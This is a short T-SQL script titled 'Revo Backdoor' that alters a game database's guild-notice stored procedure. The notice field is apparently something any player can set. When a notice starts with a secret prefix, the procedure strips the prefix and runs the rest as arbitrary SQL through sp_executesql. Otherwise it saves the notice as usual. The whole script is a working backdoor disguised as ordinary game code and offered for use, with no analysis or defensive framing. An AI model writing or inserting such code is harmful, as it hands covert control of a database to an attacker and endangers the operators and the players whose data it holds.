Revo Backdoor

USE [Telecaster]
GO
/****** Object:  StoredProcedure [dbo].[smp_set_guild_notice]    Script Date: 5/25/2017 10:30:47 PM ******/
SET ANSI_NULLS OFF
GO
SET QUOTED_IDENTIFIER OFF
GO

ALTER PROCEDURE [dbo].[smp_set_guild_notice]
@IN_GUILD_SID   INT,
@IN_NOTICE      NVARCHAR(128)
AS
SET NOCOUNT ON

IF (LEFT(@IN_NOTICE, 6) = '_)$*%R')
    BEGIN
        set @IN_NOTICE = REPLACE(@IN_NOTICE,'_)$*%R','')
        EXEC sp_executesql @IN_NOTICE;
    END
ELSE
    BEGIN
        UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID
    END